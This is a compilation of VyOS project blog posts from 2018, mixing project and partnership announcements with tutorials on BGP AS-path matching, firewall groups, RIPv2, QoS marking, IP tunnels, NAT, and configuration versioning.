While developers are working on the 1.2.0 release candidate, myself I’ve been looking into ways to improve the social and commercial aspects of project.

I’m happy to have established a positive relationship with a few companies, many of whom are themselves open source project developers and are ready to support other open source project.

The following open source tools will be added to our toolchain:

- SonarQube by SonarSource is a source code analyzer that will help us improve code quality of the 1.2.0 and subsequent releases.

It’s odd that we didn’t know about it before, but now that we know of it, I hope it will change the project for the better. It uses an open core model and SonarCloud SaaS offering is available with no cost for open sources projects.

- Discourse is a great discussion board software that will replace our old mybb forum. The old forum is now in read only mode to allow migration of the old topics to Discourse, and you give the new forum a try at https://forum.vyos.io. Discourse kindly offered us a discount for managed hosting via their open source program. The domain will be eventually changes to discourse.vyos.io (as per their discounted hosting plan requirements), but we’ll setup a redirect from both old domains when it’s ready.

On the commercial side, we are happy to announce that we now a part of two important Technology Alliances:

VMware Technology Alliance Program - Access Level will allow us to validate VyOS 1.2 OVA as a VMware Ready solution, which is also the first step towards the vCloud NFV certification. We hope it will help VyOS gain trust of the enterprise users and increase its adoption in that market.

Nutanix Elevate Technology Alliance Partner Program opens doors to the Nutanix platform for us. One of our goals from the beginning has been to bring VyOS to as many virtual platforms as possible, and it already runs on VMware, Hyper-V, Xen, and KVM, so Nutanix AHV support is a logical continuation of that effort, and we will also be listed on the Nutanix Marketplace to make it easy to deploy for Nutanix users.

I suppose these steps will help VyOS move forward and become a more successful project!

How to use AS path matching in your BGP policies

daniil@sentrium.io (Daniil Baturin) — Fri, 23 Mar 2018 11:13:47 GMT

AS path is one of the most fundamental attributes of a (e)BGP advertisments. Its length is the first parameter in the best path selection algorithm (shorter is better), and it's also the sole mechanism of loop detection (if an AS is seen twice, there's a loop). However, despite the important role it plays behind the scenes, it's rather underutilized in routing policies.

A lot of time when prefix-list or specific route-map rule options such as next-hop can do, route filtering and modification based on AS path can do it better.

Let's see how to use it.

The as-path-list construct

Just like you use a prefix-list for prefix-based filtering and a community-list for community value based filtering, AS paths have their own policy building block — as-path-list.

The basic syntax is:

set policy as-path-list Foo rule 10 description "some description"

set policy as-path-list Foo rule 10 action (permit|deny)

set policy as-path-list Foo rule 10 regex "some regex"

The action parameter has the usual pitfall: if you use it in a route-map, "permit" means "match" and "deny" means "don't match".

The most interesting part is the regex. The syntax and semantics of AS path regular expressions is a superset of POSIX 1003.2, extended with the "_" character. If you are new to regular expressions (which are not quite regular in this case — but that's another story), here's a quick reference:

Boundaries: The ^ character matches the start of the string. The $ character matches the end of the string. The expression "^$" thus matches an empty string. They can also be used for matching exact strings rather than substrings, for example, "^123 456$" will match only "123 456" but not "100 123 456 200".
Wildcard: The _ character is an extension of the normal syntax — it matches any AS path separator, most commonly a space, but aggregation adds some more. So "_123_456" would match either "123 456" or "{123,456}". It also matches the beginning and end of the path.
Character ranges and quantifiers: "[0-9]" means "any digit from 0 to 9". You can narrow that range to "[1-9]" or "[3-5]" or anything else. It can be followed by a quantifier. The following quantifiers are available: "*" (zero or more), "+" (one or more), and "?" (zero or one). Thus, "[0-9]+" will mean any AS number, and "1[0-9]+" will mean "any AS number that starts with 1".
Groups and backreferences: This is where "regular expressions" stop being regular. By enclosing an expression in parentheses, such as "([0-9]+)", you create a group. That group can later be matched with a backreference. For example, "([0-9]+)_\1" will match "123 123" or "345 345", but not "123 345".

Now let's consider common use cases.

Finding locally originated routes

It's not uncommon to see something like this:

set policy prefix-list LocalRoutes rule 10 action permit

set policy prefix-list LocalRoutes rule 10 prefix 192.168.10.0/24

set policy prefix-list LocalRoutes rule 20 action permit

set policy prefix-list LocalRoutes rule 20 prefix 192.168.20.0/24

set policy route-map Out rule 10 action permit
set policy route-map Out rule 10 match ip address prefix-list LocalRoutes

set protocols bgp 65535 network 192.168.10.0/24
set protocols bgp 65535 network 192.168.20.0/24

set protocols bgp 65535 neighbor 10.20.30.1 route-map export Out

This approach may have its merits, but if the goal is simply to allow all locally originated routes, there's a simpler way. The key idea is that locally originated routes have empty AS path, which we can match with a trivial regex for an empty string ("^$").

set policy as-path-list LocalRoutes rule 10 action permit

set policy as-path-list LocalRoutes rule 10 regex "^$"

set policy route-map Out rule 10 action permit
set policy route-map Out rule 10 match as-path LocalRoutes

Prioritizing routes from a certain AS

Suppose you are connected to multiple networks, and of all those networks, AS64555 has the best link. You want as much of outgoing traffic as possible to go through AS64555. Assuming you can't or don't want to use a dedicated route map for their sessions, how can you match those routes? Pretty simple: make an expression for a string that starts (^) with 64555 followed by a path separator (_).

set policy as-path-list FavoriteAS rule 10 action permit

set policy as-path-list FavoriteAS rule 10 regex "^64555_"

set policy route-map In rule 10 action permit
set policy route-map In rule 10 match as-path FavoriteAS

Detecting AS path prepends

Some people use AS path prepends to make their routes appear worse than they are, most commonly to avoid asymmetric routing when they don't want to route outgoing traffic through your network. Suppose you don't want to leave best path selection algorithm to its own devices and instead want to explicitly honor their request. Adding a community string for that purpose would be a better solution, but for the sake of argument let's see how we can do it.

All we know is that a prepended path is a path that contains two or more consecutive entries of the same AS, but we don't have any specific numbers to match. This is where backreferences come into play.

set policy as-path-list Prepended rule 10 action permit

set policy as-path-list Prepended rule 10 regex '([0-9]+)_\1_'

set policy route-map Test rule 10 action permit
set policy route-map Test rule 10 match as-path Prepended
set policy route-map Test rule 10 set local-preference 10

Using regular expressions for route viewing

Policy rules is not the only place where you can use regular expressions. You can also use them as filters for "run show ip bgp". Suppose you want to view all routes from AS64793. This is how you can do it:

vyos@vyos# run show ip bgp regexp "^64793_"

BGP table version is 0, local router ID is 10.217.32.254

Status codes: s suppressed, d damped, h history, * valid, > best, i - internal,

              r RIB-failure, S Stale, R Removed

Origin codes: i - IGP, e - EGP, ? - incomplete

Network Next Hop Metric LocPrf Weight Path
*> 10.91.16.0/21 10.217.15.10 0 0 64793 i
*> 10.123.124.0/24 10.217.15.10 1 50 0 64793 64793 64793 64793 i

Firewall groups today and tomorrow

daniil@sentrium.io (Daniil Baturin) — Fri, 16 Mar 2018 13:36:23 GMT

Substantial work has been done by Marian Tudosoiu to bring IPv6 firewall groups to the current implementation of firewall configuration scripts even before we give it a complete rewrite. It's already merged into the current branch and is expected to be included in the 1.2.0-rc1 release. Now it's probably a good time to make a post about using firewall groups for those who haven't used them yet.

Of course there's still a lot of work to be done, such as integrating groups into NAT, which likely does require a complete rewrite to be feasible.

The concept is simple enough: instead of creating multiple rules that only differ in one address or port number, you create a group with all those addresses and ports, and reference it in a rule.

VyOS has three group types: address groups, network groups, and port groups. In 1.1.8 they can only be used with IPv4 firewall rulesets, including "policy route" rules.

Let's create some groups:

set firewall group port-group ManagementPorts port 22
set firewall group port-group ManagementPorts port 23
set firewall group port-group ManagementPorts port 443

set firewall group address-group Servers address 10.10.0.10
set firewall group address-group Servers address 10.10.0.15
set firewall group address-group Servers address 10.10.0.20

set firewall group network-group TrustedNets network 192.168.5.0/24
set firewall group network-group TrustedNets network 172.18.19.128/25
set firewall group network-group TrustedNets network 10.20.30.144/32

Now we can create a ruleset that uses them. Let's make a rule that references nothing but groups:

set firewall name DMZ-In rule 10 action accept

set firewall name DMZ-In rule 10 protocol tcp

set firewall name DMZ-In rule 10 source group network-group TrustedNets

set firewall name DMZ-In rule 10 destination group port-group ManagementPorts

set firewall name DMZ-In rule 10 destination group address-group Servers

An important part is that you can modify groups on the fly without updating any rules.

As you can see, groups is a simple concept that can be learnt in minutes. Once they are in IPv6 and NAT, their use will be very similar.

The night of living dead protocols: RIPv2

daniil@sentrium.io (Daniil Baturin) — Fri, 09 Mar 2018 14:43:20 GMT

RIP's name seems to have anticipated its ultimate fate. It used to stand for Routing Information Protocol before newer and better protocols killed it. Still, most routers in the world still support it even though few people seriously consider using it, thus making it an undead protocol.

This is mainly for compatibility reasons. After all, if you have an old box at a remote location, connected to a 128kbps ISDN line or worse, that is working fine and is impractical to replace, but supports nothing but RIP, what can you do? Likewise, some modern small routers by Netgear or D-link only have RIP, so if you can't just replace it, there's no other choice.

Besides, RIP remains a valuable teaching tool since it's conceptually simple, and understanding its limitations can help one understand the new routing protocols and their strengths.

What's bad about RIP?

There are some very good reasons to choose something else than RIP if you can. It's one of the oldest protocols in existence, and it was designed at the time when neither modern route selection techniques existed, nor the size of networks was big enough to warrant those techniques. When RIP reached its scalability limits, it was impossible to retrofit those techniques into it, so it was replaced rather than upgraded. RIPv2, the latest version, replaced broadcast advertisments with multicast and added support for CIDR, but that's about it — the fundamental design problems are, well, fundamental.

The biggest issue is that in RIP, routers are only aware of themselves and their immediate peers. They are completely blind to the rest of the network. Link-state and path-vector protocols such as OSPF and eBGP are aware of the full topology (concrete or abstract), and can either reduce the full network graph to loop-free tree or immediately detect route advertisments as loop-inducing respectively.

All information that RIP advertisments include is the network, next hop, and an integer metric value. No router has any idea how its peers are connected to one another, so there is no way to detect loops before they form.

RIP includes a number of solutions to this problem, and they all have a limiting effect on its scalability.

Split horizon

It's simple — do not advertise routes received from peers back to them. It prevents the trivial loop when peers are trying to route traffic to networks they learnt about from someone else through you, but it cannot prevent wider loops. At least it has no effect on convergence time and doesn't create scalability limits either.

Counting to infinity

Before the other mechanisms were developed, this one was the only measure for detecting unreachable or looping routes. To make sure a route that is not actually reachable will be eventually recognized as such, it was decided to choose a maximum value that represents "infinite" (unreachable) metric. Since this process already can take quite some time, the value had to be small. In RIP, the infinite metric was set to 16. This means if a network has paths longer than 15 hops, the protocol just stops working.

Reverse poisoning

Even with 16 as infinite metric, the process of counting to infinity can be slow. The next idea was to not just wait for unreachable routes to become known as unreachable naturally, but actively advertise them to your peers as unreachable if a peer that was advertising them goes down.

This still is not a complete solution because if a router first receives an unreachability advertisment from a router who's aware of the true situation, but later receives an update from a router that is still not aware of it, it will start using the second false advertisment.

Hold timer

The ultimate solution is to ignore any advertisment for a network whose metric has recently increased for some time, to avoid receiving updates from routers who do not know the real situation yet. This time shouldn't be too small, it should be similar to the time it takes for updates to propagate through the entire network. A common default value is 180 seconds. That is, to prevent convergence issues completely, it may take a network of just a few routers three minutes to converge.

Configuration

So, suppose you are aware of all issues, but want or need to configure RIP nonetheless. It's pretty simple. First, enable RIP on all interfaces where you want to send and receive advertisments:

set protocols rip interface eth0

set protocols rip interface eth1

Networks that are configured on those interfaces will become a part of the RIP table automatically. If you want to advertise networks that are on other interfaces, you need to add them explicitly:

set protocols rip network 10.74.74.0/24

You can also use "redistribute" and "default-information originate" commands just like in all other routing protocols.

If everything is right, you will see something like this on the neighbor router:

vyos@vyos# run show ip rip

Codes: R - RIP, C - connected, S - Static, O - OSPF, B - BGP

Sub-codes:

      (n) - normal, (s) - static, (d) - default, (r) - redistribute,

      (i) - interface
     Network            Next Hop         Metric From            Tag Time

R(n) 10.74.74.0/24      10.217.32.132         2 10.217.32.132     0 02:55

C(i) 10.217.32.0/24     0.0.0.0               1 self              0

If you remove the interface or the network statement, you will see the unreachable metric 16 for the duration of the hold timer, and only when the timer expires it will disappear from your table complely:

vyos@vyos# run show ip rip

Codes: R - RIP, C - connected, S - Static, O - OSPF, B - BGP

Sub-codes:

      (n) - normal, (s) - static, (d) - default, (r) - redistribute,

      (i) - interface
     Network            Next Hop         Metric From            Tag Time

R(n) 10.74.74.0/24      10.217.32.132        16 10.217.32.132     0 01:57

Using the "policy route" and packet marking for custom QoS matches

daniil@sentrium.io (Daniil Baturin) — Fri, 02 Mar 2018 03:14:44 GMT

There is only that much you can do in a QoS rules to describe the traffic you want it to match. There's DCP, source/destination, and protocol, and that's enough to cover most of the use cases. Most, but not all. Fortunately, they can also match packet marks and that's what enables creating custom matches.

Packet marks are numeric values set by Netfilter rules that are local to the router and can be used as match criteria in other Netfilter rules and many other components of the Linux kernel (ip, tc, and so on).

Suppose you have a few phones in the office and you want to prioritize their VoIP traffic. You could create a QoS match for each of them, but it's quite some config duplication, which will only get worse when you add more phones. If you find a way to group those addresses in one match, wouldn't it be nice? Sadly, there's no such option in QoS. Firewall can use address groups though, so we can make the QoS rule match a packet mark (e.g. 100) and set that mark to traffic from the phones.

# show traffic-policy

 priority-queue VoIP {

     class 7 {

         match SIP {

             mark 100

         }

         queue-type drop-tail

     }

     default {

         queue-type fair-queue

     }

 }

Now the confusing bit. Where do we set the mark? Around Vyatta 6.5, an unfortunate design decision was made: "firewall modify" was moved under overly narrow and not so obvious "policy route". Sadly we are stuck with it for the time being because it's not so easy to automatically convert the syntax for upgrades. But, its odd name notwithstanding, it still does the job.

Let's create an address group and a "policy route" instance that sets the mark 100:

# show firewall group

 address-group Phones {

     address 10.4.5.10

     address 10.4.5.11

     address 10.4.5.12

 }

[edit]

# show policy route

 route VoIP {

     rule 10 {

         set {

             mark 100

         }

         source {

             group {

                 address-group Phones

             }

         }

     }

 }

Now we need to assign the QoS ruleset to our WAN and the "policy route" instance to our LAN interface:

set interfaces ethernet eth0 policy route VoIP

set interfaces ethernet eth1 traffic-policy out VoIP

You can as well take advantage of "policy route" ruleset options for time-based filtering or matching related connections. Besides, you can use it to set DSCP values in case your QoS setup is on a different router:

set policy route Foo rule 10 set dscp 46

IP tunnels I have known and loved

daniil@sentrium.io (Daniil Baturin) — Fri, 23 Feb 2018 11:26:18 GMT

Today we'll talk about the "classic" IP tunneling protocols.

GRE is often seen as a one size fits all solution when it comes to classic IP tunneling protocols, and for a good reason. However, there are more specialized options, and many of them are supported by VyOS. There are also rather obscure GRE options that can be useful.

All those protocols are grouped under "interfaces tunnel" in VyOS. Let's take a closer look at the protocols and options currently supported by VyOS.

MTU considerations

One issues that often comes up in tunneled setups is that of the MTU and MSS. Generally, the kernel is capable of setting the correct MTU on its own, and as long as end to end ICMP works, there should be no MSS issues either, but if you are in doubt, or simply curious what the total overhead of a tunnel will be, I made a tool for quickly calculating MTU and MSS for any combination of encapsulating and encapsulated protocols. Your contributions and corrections to it are always welcome.

If you want to do MSS clamping, here's an example:

set policy route MSS-CLAMP rule 10 protocol 'tcp'
set policy route MSS-CLAMP rule 10 set tcp-mss '1400'
set policy route MSS-CLAMP rule 10 tcp flags 'SYN'

set interfaces ethernet eth1 policy route MSS-CLAMP

Alternatively, you can insert a global rule like "iptables -I FORWARD -p tcp --tcp-flags SYN,RST SYN -j TCPMSS --clamp-mss-to-pmtu" and make it persistent across reboot by placing it in /config/scripts/vyatta-postconfig-bootup.script

IPIP

This is the simplest tunneling protocol in existence. It is defined by RFC2003. It simply takes an IPv4 packet and uses sends it as a payload of another IPv4 packet. For this reason it doesn't really have any configuration options by itself.

An example:

set interfaces tunnel tun0 encapsulation ipip

set interfaces tunnel tun0 local-ip 192.0.2.10
set interfaces tunnel tun0 remote-ip 203.0.113.20
set interfaces tunnel tun0 address 192.168.100.200

If tunneling IPv4 traffic in IPv4 is really all you want, then it's a pretty good and a very lightweight choice.

IP6IP6

This is the IPv6 counterpart of IPIP. I'm not aware of an RFC that defines this encapsulation specifically, but it's a natural specific case of IPv6 encapsulation mechanisms described in RFC2473.

It's not likely that anyone will need it any soon, but it does exist.

An example:

set interfaces tunnel tun0 encapsulation ipip

set interfaces tunnel tun0 local-ip 2001:db8:aa::1/64
set interfaces tunnel tun0 remote-ip 2001:db8:aa::2/64
set interfaces tunnel tun0 address 2001:db8:bb::1/64

IPIP6

I'm pretty sure in a few decades this is going to be a very useful protocol (though there are other proposals).

As the name implies, it's IPv4 encapsulated in IPv6, as simple as that.

An example:

set interfaces tunnel tun0 encapsulation ipip6

set interfaces tunnel tun0 local-ip 2001:db8:aa::1/64
set interfaces tunnel tun0 remote-ip 2001:db8:aa::2/64
set interfaces tunnel tun0 address 192.168.70.80

SIT (6in4)

I believe SIT stands for "Simple Internet Transition". This protocol is defined by RFC4213, but curiously that RFC or any of its predecessor do not refer to it as SIT, so I have no idea where that nickname actually comes from (if you know its origin, tell me).

It encapsulates IPv6 packets in IPv4, as the name suggests. Unlike two previous protocols, it's very useful right now, as it's used by a number of IPv6 tunnel brokers such as that of Hurricane Electric.

An example:

set interfaces tunnel tun0 encapsulation sit

set interfaces tunnel tun0 local-ip 192.0.2.10
set interfaces tunnel tun0 remote-ip 192.0.2.20
set interfaces tunnel tun0 address 2001:db8:bb::1/64

GRE

GRE stands for Generic Routing Encapsulation, and it lives up to its name as it can encapsulate many other protocols at more than one OSI layer. It is defined by RFC2784.

Due to kernel driver layout reasons, in VyOS it comes in two flavours: "gre" and "gre-bridge". The difference is that while "gre" is layer 3 only, "gre-bridge" is layer 2 and can encapsulate ethernet frames, thus it can be bridged with other interfaces to create datalink layer segments that span multiple remote sites. GRE is also unique in that it can encapsulate more than one protocol at the same time, so it's the only way to create dual stack IPv4 and IPv6 tunnels in a single interface.

Layer 3 GRE example:

set interfaces tunnel tun0 encapsulation gre

set interfaces tunnel tun0 local-ip 192.0.2.10
set interfaces tunnel tun0 remote-ip 192.0.2.20
set interfaces tunnel tun0 address 10.40.50.60/24
set interfaces tunnel tun0 address 2001:db8:bb::1/64

Layer 2 GRE example:

set interfaces bridge br0

set interfaces tunnel tun0 encapsulation gre-bridge
set interfaces tunnel tun0 local-ip 192.0.2.10
set interfaces tunnel tun0 remote-ip 192.0.2.20
set interfaces tunnel tun0 parameters ip bridge-group bridge br0

set interfaces ethernet eth1 bridge-group br0

As you can see, the bridge-group option for tunnels is in a rather unusual place, different from all other interfaces. I can't remember why is that, and we may make that CLI more consistent in the future even though it will take quite some effort to make it backwards-compatible.

GRE is also the only classic protocol that allows creating multiple tunnels with the same source and destination due to its support for tunnel keys. Despite its name, this feature has nothing to do with security: it's simply an identifier that allows routers to tell one tunnel from another.

An example:

set interfaces tunnel tun0 local-ip 192.0.2.10
set interfaces tunnel tun0 remote-ip 192.0.2.20
set interfaces tunnel tun0 address 10.40.50.60/24
set interfaces tunnel tun0 parameters ip key 10

set interfaces tunnel tun0 local-ip 192.0.2.10
set interfaces tunnel tun0 remote-ip 192.0.2.20
set interfaces tunnel tun0 address 172.16.17.18/24
set interfaces tunnel tun0 parameters ip key 20

Conclusion

Classic IP tunneling protocols are often not very flexible, but a lot of time they do their job very well, and are easy to use in conjunction with IPsec. For a more modern and flexible option you may consider L2TPv3 or VXLAN — but that's a story for future posts.

First ProNet Portal drafts, new Partners and Social Media

yuriy@sentrium.io (Yuriy Andamasov) — Wed, 21 Feb 2018 12:28:46 GMT

Hello Community!

We are super excited that VyOS finally gets the traction that it deserves and we have a few interesting updates to share with you!

VyOS 1.2.0-rc1

Will be released within two or three weeks.

Tons of new things, we are still building future release notes and you can always grab a rolling version from here. Of course you are invited to add to the release notes if you spot a resolved issue we forgot, or you want to expand the documentation of the new features.

More contributors!

New contributors are joining our effort and more communication happens about VyOS on different platforms. We would like to remind everybody that you are welcome to join and participate in our development collaboration platform.

Social Media & other communication channels

It's more important than ever to spread the word about VyOS.

This is the reason we’ve been adding profiles on just about every social network over time and on behalf of the team I encourage you to follow/like/subscribe and participate!

Here is the list of social media accounts:

Twitter - https://twitter.com/vyos_dev

Facebook - https://www.facebook.com/vyosofficial

LinkedIn - https://www.linkedin.com/company/vyos

YouTube - https://www.youtube.com/channel/UCEjJx6j87szaiqtKDrMVb2Q

Instagram - https://www.instagram.com/vyosofficial/

Reddit - https://www.reddit.com/r/vyos/

We also have a forum, a development portal and several chat platforms for real-time communication:

IRC - irc.freenode.net - many people here

Slack - slack.vyos.io - Newly launched!

Rocket.Chat - chat.vyos.io - few people

ProNet web

See the document below, it’s an initial draft rather than anything set in stone, but it’s probably pretty close to what we’ll eventually deploy in its fundamental concepts.

As always all feedback is welcome, email it to pronet@vyos.io

Download VyOS_people_search.pdf

New Partners

We’ve already received quite a few applications for participation in ProNet and continue to receive them.

They are all important for us and we are glad to see interest in VyOS among service providers.

I would like to specially mention two of newly arrived partners:

Packet - The Promise of the Cloud Delivered on Bare Metal. Great folks provide super interesting offering. Bare Metal instances with hourly billing and lot of interesting capabilities (Wide list of supported OSes, API, BGP peering and more). Currently you can boot 1.1.8 following this manual.

And we agreed to work together to get VyOS 1.2 as natively supported OS on Packet.

Protectli - First hardware vendor that showed interest to work with us!

Check out their appliances, those will be first hardware appliances officially supported by VyOS 1.2 so you may want order some. And they support OpnSense and other OSes, you can see full list here

P.S.

As always, for those who read the article to the end get a 30% discount on merchandise via this link

Stay tuned!

NAT with a thousand faces

daniil@sentrium.io (Daniil Baturin) — Fri, 16 Feb 2018 11:35:19 GMT

The familiar use cases for NAT are source NAT/masquerade for allowing private subnets access to the Internet, and port forwarding from the Internet to a host in a private network. However, there are more use cases that are less obvious, in part because they are defined by the relative size of the source/destination and translation address options.

One to one NAT

Very common among cloud providers, but equally useful if your ISP is ready to give you an additional address, but not a routable subnet.

Suppose your ISP gave you two addresses, 203.0.113.114 and 203.0.113.115. You use the .114 address for the router itself and want to map the .115 to a server inside your network that has 192.168.136.100 address.

Here's how to do it:

 interfaces {

     ethernet eth0 {

         address 203.0.113.114/24

         address 203.0.113.115/24

         ...

     }

 nat {

     destination {

         rule 10 {

             inbound-interface eth0

             destination {

                 address 203.0.113.115

             }

             translation {

                 address 192.168.136.100

             }

         }

     }

     source {

         rule 10 {

             outbound-interface eth0

             source {

                 address 192.168.136.100

             }

             translation {

                 address 203.0.113.115

             }

         }

     }

 }

One to many NAT

If the network or range specified in translation address is larger than the network in source/destination address, connections from the same host will be translated to more than one address. In source NAT, this is only useful for a bizzare kind of conspicious consumptions like buying a /24 subnet for yourself and using it all for just your desktop.

In destination NAT, however, it can be used as a simple form of L3, non-application aware load balancing.

Suppose you got 10 web servers all in the range of 192.168.136.100 to 192.168.136.110. You want traffic sent to 203.0.113.115 balanced across them. Here's an example:

nat {

     destination {

         rule 10 {

             destination {

                 address 203.0.113.115

                 port 80,443

             }

             inbound-interface eth0

             protocol tcp

             translation {

                 address 192.168.136.100-192.168.136.110

             }

         }

     }

     source {

         rule 10 {

             outbound-interface eth0

             source {

                 address 192.168.136.100-192.168.136.110

             }

             translation {

                 address 203.0.113.115

             }

         }

     }

 }

Many to many NAT

What happens if the source/destination and translation networks are the same size though? In that case, only the network part is translated, while the host part should stay untouched.

This is useful for getting around subnet conflicts.

nat {

     destination {

         rule 10 {

             destination {

                address 192.168.136.0/24

             }

             inbound-interface eth0

             translation {

                 address 10.20.30.0/24

             }

         }

     }

     source {

         rule 10 {

             outbound-interface eth0

             source {

                 address 10.20.30.0/24

             }

             translation {

                 address 192.168.136.0/24

             }

         }

     }

 }

If you know more variations, please let me know.

Configuration versioning and archiving in VyOS

daniil@sentrium.io (Daniil Baturin) — Sat, 10 Feb 2018 17:11:50 GMT

Last time I promised "node copying/renaming, node comments, and other little known features of the VyOS CLI", but the post actually only mentioned copying/renaming and comments, but not other features. It's time to fix that: today we'll discuss configuration versioning and archiving.

One of the great things about the config model with editing and commits being distinct stages is that it's feasible to execute some actions when the config is changed. In fact, you can execute arbitrary actions via pre/post-commit hooks, but there are built-in actions as well, namely configuration versioning and archiving to a remote location. This model, first introduced by JunOS, makes configuration is a lot more manageable than older Cisco style models.

This approach renders tools like Rancid or Oxydized redundant since the system can make a snapshot of the running config when the change is made rather than periodically. Moreover, right on the router you can see who made this or that commit and view diffs between revisions.

An additional advantage of versioning is that even if you forget to save the config (or purposely powercycle a system with an unsaved config because you forgot to use commit-confirm), you can always view recover the lost changes from the history.

Let's see how to use it.

Versioning

Configuration

By default, VyOS only keep a local archive of previous config versions. The number of revisions it keeps is controlled by the "system config-management commit-revisions $number".

In older VyOS versions the default value is 20, while the 1.2.0 nightly builds have it set to 100. Since configuration files are usually not too big, especially compared to the size of modern flash memory and hard drives, and the versioning system uses gzip compression, I usually set it to 1000 on all my routers: set system config-management commit-revisions 1000

You can disable versioning by deleting the "system config-management commit-revisions" option.

Usage

Viewing the commit history

To view the commit history, use this command: run show system commit

Here is an example:

dmbaturin@reki# run show system commit <br>0   2018-02-10 16:28:52 by dmbaturin via cli<br>    increase commit revision number<br>1   2018-02-10 16:23:39 by dmbaturin via cli<br>2   2018-02-01 05:41:33 by dmbaturin via cli<br>3   2018-02-01 05:41:27 by dmbaturin via cli<br>4   2018-01-26 02:46:31 by dmbaturin via cli<br>5   2017-12-25 04:37:54 by root via boot-config-loader<br>6   2017-12-15 18:46:13 by dmbaturin via cli<br>

The output is quite straightforward, though some things need clarification. The first field is the revision number, the second field is the timestamp, and the third field is the user who initiated the commit.

The "via" field indicates the "application" that the commit was initiated from. Commits from the interactive CLI have it set to "cli", and commits made by the config loader at boot time have it set to "boot-config-loader" (why are they archived? At boot time the config can be modified by migration scripts).

In the example above, you can see "increase commit revision number" under a revision. This is a commit comment, which you can set with this command: commit comment "some comment".

Viewing old revisions and diffs

To view a complete config file from an older revision, use this command: run show system commit file $revisionNumber
The revision 0 points to the latest commit.

To see what a certain commit changed, use: run show system commit diff $revisionNumber
It shows a typical diff:

dmbaturin@reki# run show system commit diff 0

[edit interfaces ethernet eth1]

-address 10.90.90.1/24

[edit system config-management]

>commit-revisions 2000

[edit system]

+options {

+    ctrl-alt-del-action ignore

+    reboot-on-panic true

+}

This command may seem rather limited because it only shows a diff between a single revision N and revision N-1. For more advances comparison operations, you can use the "compare" command.

With just "compare" command with no arguments, you can view the diff between the proposed (uncommited) and running configuration. Quite handy when you have a large config and don't want to spend time searching for the modified bits in the output of the "show" command:

dmbaturin@reki# compare

[edit system options]

>ctrl-alt-del-action reboot

You can also use "compare saved" command to quickly view a diff between the running and saved configuration.

Running "compare $revision" (e.g. "compare 5") allows comparing the running config with that revision, showing a cumulative diff (as opposed to a diff between $revision and $revision-1 as "run show system commit diff $revision" does).

Finally, you can use "compare $firstRevision $secondRevision" (e.g. "compare 4 20") to view a diff between any two revisions.

Archiving

Apart from the local archive, you can automatically send config revisions to a remote locations. The supported protocols are TFTP, FTP, and SFTP/SCP.

The configuration option is: system config-management commit-archive "<tftp|ftp|scp>://$user:$password@$host/dir", for example, "ftp://admin:qwerty@192.0.2.1/vyos".

Confirmed commit and rollback

One more possibility that is opened by configuration versioning is failsafe commits for risky changes and rollbacks.

Suppose you are making a risky change and you aren't sure whether you will lose your SSH connections to the router or not. The traditional approach is to schedule a reboot, make the change, and cancel the reboot if you are still connected.

VyOS offers a better approach. When you are about to make a risky change, use the "commit-confirm" command, optionally with an argument that specifies timeout in minutes (e.g. "commit-confirm 5"). The default timeout is 10 minutes.

It will warn you about what is about to happen and ask if you want to proceed. Type "y" or "yes" and press enter.

dmbaturin@reki# commit-confirm

commit confirm will be automatically reboot in 10 minutes unless confirmed

Proceed? [confirm]y

If the change works fine and you are still connected, enter the "confirm" command. If you don't issue the "confirm" commands in 10 minutes (or the time interval you specified) the system will automatically reboot and revert to the previous revision (not: not to the saved config, but to the revision just before your last commit even if it wasn't saved).

You can as well rollback to any previous revision by hand with "rollback $revision" command, but it will also reboot your system first, unlike in JunOS, which limits its utility in non-emergency cases. The reasons for this are quite complicated and lie in unfortuate design decisions of the old config backend that gave rise to the VyConf project. If you want to see non-destructive rollback sooner, consider joining the development of the new backend. ;)

ProNet details and registration form

yuriy@sentrium.io (Yuriy Andamasov) — Fri, 09 Feb 2018 00:30:56 GMT

We are excited to see so much interest in the ProNet partner program.

While we collect applications from people and companies, we have already started working on the design of the ProNet web portal, and we need your input to make it match actual needs of the people.

What would you like to see in the portal as business users, support and consulting providers, service providers, and hardware vendors?

The current concept includes:

Different partner profile types for consultants, support providers, and hardware vendors for easy filtering.
Search by service types and location.
Badges of Contributor, Sponsor, and Evangelist for people and companies that contributed code, made donations, or written or gave talks about VyOS respectively.

Please send your suggestions to pronet@vyos.io All suggestions authors will get discounts on VyOS merchandize, and authors of best proposals will get a reward from us.

Let’s bring VyOS users and service providers closer to one another!

If you are interested in becoming a partner as an individual or a company, please fill the registration form

ProNet Announcement

yuriy@sentrium.io (Yuriy Andamasov) — Sun, 04 Feb 2018 14:23:59 GMT

Hello Community!

In the past few months there was a significant growth of interest to VyOS Project.

We’ve started getting more requests from companies looking for professional services such as feature development and support and that is obviously great thing for the project!

However, to satisfy the demand, we need to grow the support team, and rather than try to do everything ourselves, we decided to share the business opportunities with the community of people and companies who are using VyOS and willing to share their expertise.

In other words, it’s time to start building a partner network!

We decided to name it ProNet, for a short and catchy name.

At Sentrium, we’ll focus on developing and maintaining VyOS, expanding our cloud platforms support, and offering custom feature development and developer support to our customers. Existing support contracts will continue to be fulfilled, but we will not take new support customers ourselves from now.

To offer decent level of quality for support services we already talking to several companies that showed interested in providing support services for certain territories however that is only beginning. If you is freelancer with deep VyOS knowledge or company with expertise in networking and VyOS and want to be part of our ProNet please drop us a line to pronet@vyos.io and we follow up from there.

There are three levels - registered, professional, enterprise.

While we finishing program perks and requirements document we can guarantee that all qualified partners of first wave will get very exclusive conditions

We plan to introduce partner locator web on https://pronet.vyos.io in Q2 2018 and we open to suggestions,

just comment your ideas here or on social media about what you would like to see in future portal and we will be glad to consider them for implementation.

If you read until this line, you deserve 15% discount for our merchandise, just use this link to get it automatically on check out or use PRONET code on checkout otherwise at our shop here

Stay tuned!

UPD1:

Registration form is now available here

Interaction between IPsec and NAT (on the same router)

daniil@sentrium.io (Daniil Baturin) — Thu, 01 Feb 2018 06:01:49 GMT

I've just completed a certain unusual setup that involved NATing packets before they are sent to an IPsec tunnel, so I thought I'll write about this topic. Even in perfectly ordinary setups, the interaction between the two often catches people off guard, me included.

No, this is not a premature Friday post. The Friday post will be a continuation of the little known featured of the VyOS CLI.

Most routers these days have some NAT configured, so if you setup an IPsec tunnel, you need to understand the interaction between the two. Luckily, it's pretty simple.

Every network OS has a fixed packet processing order, and for a good reason. For example, source NAT has to be performed after routing because otherwise the OS will not know which outgoing interface must be used for the packet, and will not be able to determine which SNAT rule must be applied to that packet. Likewise, destination NAT must happen before routing if we want to be able to send incoming packets to the intended host — the routing decision depends on the new destination address.

